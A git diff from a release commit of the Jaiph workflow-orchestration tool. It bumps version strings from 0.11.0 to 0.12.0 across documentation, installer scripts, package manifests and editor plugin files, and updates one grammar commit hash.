the checksum, and replaces `~/.local/bin/jaiph` (or `JAIPH_BIN_DIR`). diff --git a/docs/contributing.md b/docs/contributing.md index 624fe73a..98d72756 100644 --- a/docs/contributing.md +++ b/docs/contributing.md @@ -209,7 +209,7 @@ The project uses GitHub Actions (`.github/workflows/ci.yml`). The workflow defin The supported release-prep path is the **`.jaiph/prepare_release.jh`** workflow. Run it as: ```bash -jaiph run .jaiph/prepare_release.jh -- 0.11.0 # explicit X.Y.Z +jaiph run .jaiph/prepare_release.jh -- 0.12.0 # explicit X.Y.Z jaiph run .jaiph/prepare_release.jh # next patch from package.json ``` diff --git a/docs/env-vars.md b/docs/env-vars.md index eec6cece..8ca56013 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -177,7 +177,7 @@ These variables are consumed by `docs/install` (the installer shell script) and | Variable | Type | Default | Role | |---|---|---|---| -| `JAIPH_REPO_REF` | string | `v0.11.0` (installer default when unset) | Release ref the installer downloads (`v0.11.0`, `nightly`, …). `jaiph use ` sets this to `v` or `nightly`. | +| `JAIPH_REPO_REF` | string | `v0.12.0` (installer default when unset) | Release ref the installer downloads (`v0.12.0`, `nightly`, …). `jaiph use ` sets this to `v` or `nightly`. | | `JAIPH_BIN_DIR` | path | `$HOME/.local/bin` | Target bin directory for the installed `jaiph` binary. | | `JAIPH_RELEASE_BASE_URL` | string | `https://github.com/jaiphlang/jaiph/releases/download/` | Override the GitHub Release base URL the installer downloads from. | | `JAIPH_REPO_URL` | path | — | Local repo path (directory containing `package.json`) for the from-source installer branch (`docs/install-from-local.sh`). Ignored on the binary-download path. | diff --git a/docs/index.html b/docs/index.html index bd902017..d4c87703 100644 --- a/docs/index.html +++ b/docs/index.html @@ -82,7 +82,7 @@

    Try it out!

    curl -fsSL https://jaiph.org/run | bash -s 'workflow default() {  const response = prompt "Say: Hello, I am [model name]!"  log response}'
    -

    Installs Jaiph v0.11.0 to ~/.local/bin (if not +

    Installs Jaiph v0.12.0 to ~/.local/bin (if not already installed), and runs the sample workflow with Cursor CLI agent backend (the default one). @@ -95,7 +95,7 @@

    Try it out!

    irm https://jaiph.org/install.ps1 | iex

    then run a sample workflow:

    jaiph run say_hello.jh Adam
    -

    Installs Jaiph v0.11.0 to %LOCALAPPDATA%\jaiph\bin. +

    Installs Jaiph v0.12.0 to %LOCALAPPDATA%\jaiph\bin. Grab say_hello.jh from the samples below, then run it. See more samples!

    Jaiph is under heavy development. Core features and workflow syntax are @@ -107,7 +107,7 @@

    Try it out!

    Run the script below from the project directory:

    curl -fsSL https://jaiph.org/init | bash
    -

    Installs Jaiph v0.11.0 to ~/.local/bin (if not +

    Installs Jaiph v0.12.0 to ~/.local/bin (if not already installed), and runs jaiph init to initialize the Jaiph workspace in the current directory.

    @@ -116,7 +116,7 @@

    Try it out!

    irm https://jaiph.org/install.ps1 | iex

    then initialize the Jaiph workspace in the current directory:

    jaiph init
    -

    Installs Jaiph v0.11.0 to %LOCALAPPDATA%\jaiph\bin +

    Installs Jaiph v0.12.0 to %LOCALAPPDATA%\jaiph\bin (if not already installed).

    @@ -124,7 +124,7 @@

    Try it out!

    curl -fsSL https://jaiph.org/install | bash
    -

    The installer will install the version 0.11.0 of Jaiph to +

    The installer will install the version 0.12.0 of Jaiph to ~/.local/bin. To switch versions, use jaiph use nightly or jaiph use <version> to switch.

    diff --git a/docs/install b/docs/install index b9b9087d..9d0f3227 100755 --- a/docs/install +++ b/docs/install @@ -208,7 +208,7 @@ else ;; esac - REPO_REF="${1:-${JAIPH_REPO_REF:-v0.11.0}}" + REPO_REF="${1:-${JAIPH_REPO_REF:-v0.12.0}}" BIN_NAME="jaiph-${os}-${arch}" BASE_URL="${JAIPH_RELEASE_BASE_URL:-https://github.com/jaiphlang/jaiph/releases/download/${REPO_REF}}" diff --git a/docs/install.ps1 b/docs/install.ps1 index fa8eda23..b627abb5 100644 --- a/docs/install.ps1 +++ b/docs/install.ps1 @@ -75,7 +75,7 @@ if ($rawArch.ToUpper() -ne "AMD64" -and $rawArch.ToUpper() -ne "X64") { exit 1 } -$RepoRef = if ($RepoRef) { $RepoRef } elseif ($env:JAIPH_REPO_REF) { $env:JAIPH_REPO_REF } else { "v0.11.0" } +$RepoRef = if ($RepoRef) { $RepoRef } elseif ($env:JAIPH_REPO_REF) { $env:JAIPH_REPO_REF } else { "v0.12.0" } $BinName = "jaiph-windows-x64.exe" $BaseUrl = if ($env:JAIPH_RELEASE_BASE_URL) { $env:JAIPH_RELEASE_BASE_URL } else { "https://github.com/jaiphlang/jaiph/releases/download/$RepoRef" } $BinDir = if ($env:JAIPH_BIN_DIR) { $env:JAIPH_BIN_DIR } else { Join-Path $env:LOCALAPPDATA "jaiph\bin" } diff --git a/docs/setup.md b/docs/setup.md index 637f7f84..7f3b336b 100644 --- a/docs/setup.md +++ b/docs/setup.md @@ -61,7 +61,7 @@ or prepend npm's global bin directory: `export PATH="$(npm prefix -g)/bin:$PATH" ```bash jaiph use nightly # rolling nightly prerelease -jaiph use 0.11.0 # reinstalls the v0.11.0 release binary +jaiph use 0.12.0 # reinstalls the v0.12.0 release binary ``` `jaiph use` re-invokes the step-1 installer (`JAIPH_INSTALL_COMMAND`, default `curl -fsSL https://jaiph.org/install | bash`) with `JAIPH_REPO_REF` set to `nightly` or `v`, then replaces `~/.local/bin/jaiph` (or `JAIPH_BIN_DIR`). Override `JAIPH_INSTALL_COMMAND` for forks, offline bundles, or local scripts. @@ -72,7 +72,7 @@ jaiph use 0.11.0 # reinstalls the v0.11.0 release binary jaiph --version ``` -This prints `jaiph ` (sourced from the installed release at build time). After `jaiph use `, re-run `jaiph --version` and confirm the printed version matches (for example `jaiph 0.11.0` after `jaiph use 0.11.0`). +This prints `jaiph ` (sourced from the installed release at build time). After `jaiph use `, re-run `jaiph --version` and confirm the printed version matches (for example `jaiph 0.12.0` after `jaiph use 0.12.0`). ## Verify the release signature @@ -94,13 +94,13 @@ To install a pinned `jaiph` CLI in a GitHub Actions job, use the reusable [`setu ```yaml steps: - - uses: jaiphlang/jaiph/actions/setup-jaiph@v0.11.0 + - uses: jaiphlang/jaiph/actions/setup-jaiph@v0.12.0 with: - version: 0.11.0 # semver, a release tag (v0.11.0), or 'nightly' + version: 0.12.0 # semver, a release tag (v0.12.0), or 'nightly' - run: jaiph --version # jaiph is now on PATH for later steps ``` -Pin both the action ref (`@v0.11.0`) and the `version` input to an exact release for reproducible CI; use `nightly` to track the rolling prerelease. The action supports GitHub-hosted **Linux** and **macOS** runners (arm64 / x64) covered by release artifacts. +Pin both the action ref (`@v0.12.0`) and the `version` input to an exact release for reproducible CI; use `nightly` to track the rolling prerelease. The action supports GitHub-hosted **Linux** and **macOS** runners (arm64 / x64) covered by release artifacts. The action inherits the installer's [fail-closed policy](#1-install-the-binary): a checksum mismatch, a missing signature file, or a missing release artifact fails the step and installs nothing (and the signature is verified when [`minisign`](https://jedisct1.github.io/minisign/) is on the runner's `PATH`). For the full input/output reference, see the [action README](https://github.com/jaiphlang/jaiph/tree/main/actions/setup-jaiph). diff --git a/grammars/tree-sitter-jaiph/package.json b/grammars/tree-sitter-jaiph/package.json index b04dadc4..774d9764 100644 --- a/grammars/tree-sitter-jaiph/package.json +++ b/grammars/tree-sitter-jaiph/package.json @@ -1,6 +1,6 @@ { "name": "tree-sitter-jaiph", - "version": "0.1.0", + "version": "0.12.0", "description": "Tree-sitter grammar for the Jaiph orchestration language (.jh / *.test.jh)", "license": "MIT", "homepage": "https://jaiph.org", @@ -9,8 +9,16 @@ "url": "https://github.com/jaiphlang/jaiph.git", "directory": "grammars/tree-sitter-jaiph" }, - "keywords": ["tree-sitter", "jaiph", "parser"], - "files": ["grammar.js", "tree-sitter.json", "src"], + "keywords": [ + "tree-sitter", + "jaiph", + "parser" + ], + "files": [ + "grammar.js", + "tree-sitter.json", + "src" + ], "scripts": { "generate": "tree-sitter generate" }, diff --git a/package-lock.json b/package-lock.json index d555d119..9df350e6 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "jaiph", - "version": "0.11.0", + "version": "0.12.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "jaiph", - "version": "0.11.0", + "version": "0.12.0", "dependencies": { "jose": "^5.10.0" }, diff --git a/package.json b/package.json index e92d0764..fbc9bcb3 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "jaiph", - "version": "0.11.0", + "version": "0.12.0", "description": "jaiph compiler/transpiler", "repository": { "type": "git", diff --git a/plugins/vscode/package-lock.json b/plugins/vscode/package-lock.json index 38abcc11..7a657ba2 100644 --- a/plugins/vscode/package-lock.json +++ b/plugins/vscode/package-lock.json @@ -1,12 +1,12 @@ { "name": "jaiph-syntax-vscode", - "version": "0.9.0", + "version": "0.12.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "jaiph-syntax-vscode", - "version": "0.9.0", + "version": "0.12.0", "license": "MIT", "devDependencies": { "@types/node": "^20.0.0", diff --git a/plugins/vscode/package.json b/plugins/vscode/package.json index 81bde8fa..df91bf1a 100644 --- a/plugins/vscode/package.json +++ b/plugins/vscode/package.json @@ -2,7 +2,7 @@ "name": "jaiph-syntax-vscode", "displayName": "Jaiph Syntax", "description": "Syntax highlighting and compiler diagnostics for the Jaiph orchestration language (.jh files)", - "version": "0.9.0", + "version": "0.12.0", "publisher": "jaiph", "license": "MIT", "icon": "media/icon.png", diff --git a/plugins/zed/extension.toml b/plugins/zed/extension.toml index 890a71e6..fb71f389 100644 --- a/plugins/zed/extension.toml +++ b/plugins/zed/extension.toml @@ -1,7 +1,7 @@ id = "jaiph" name = "Jaiph" description = "Jaiph orchestration language support for Zed (Tree-sitter syntax highlighting)." -version = "0.1.0" +version = "0.12.0" schema_version = 1 authors = ["Jaiph contributors"] repository = "https://github.com/jaiphlang/jaiph" @@ -16,5 +16,5 @@ repository = "https://github.com/jaiphlang/jaiph" # repository = "file:///absolute/path/to/jaiph" [grammars.jaiph] repository = "https://github.com/jaiphlang/jaiph" -rev = "c41c0a429ea537e4de469e27bb3400b6cebe9a7d" +rev = "098adc1f838aaf0f8b2d56c3c107b3418550906d" path = "grammars/tree-sitter-jaiph" diff --git a/plugins/zed/package.json b/plugins/zed/package.json index b042a37f..3451b1b7 100644 --- a/plugins/zed/package.json +++ b/plugins/zed/package.json @@ -1,6 +1,6 @@ { "name": "jaiph-zed", - "version": "0.1.0", + "version": "0.12.0", "description": "Query-check harness for the Jaiph Zed extension (Tree-sitter highlights/injections)", "private": true, "license": "MIT",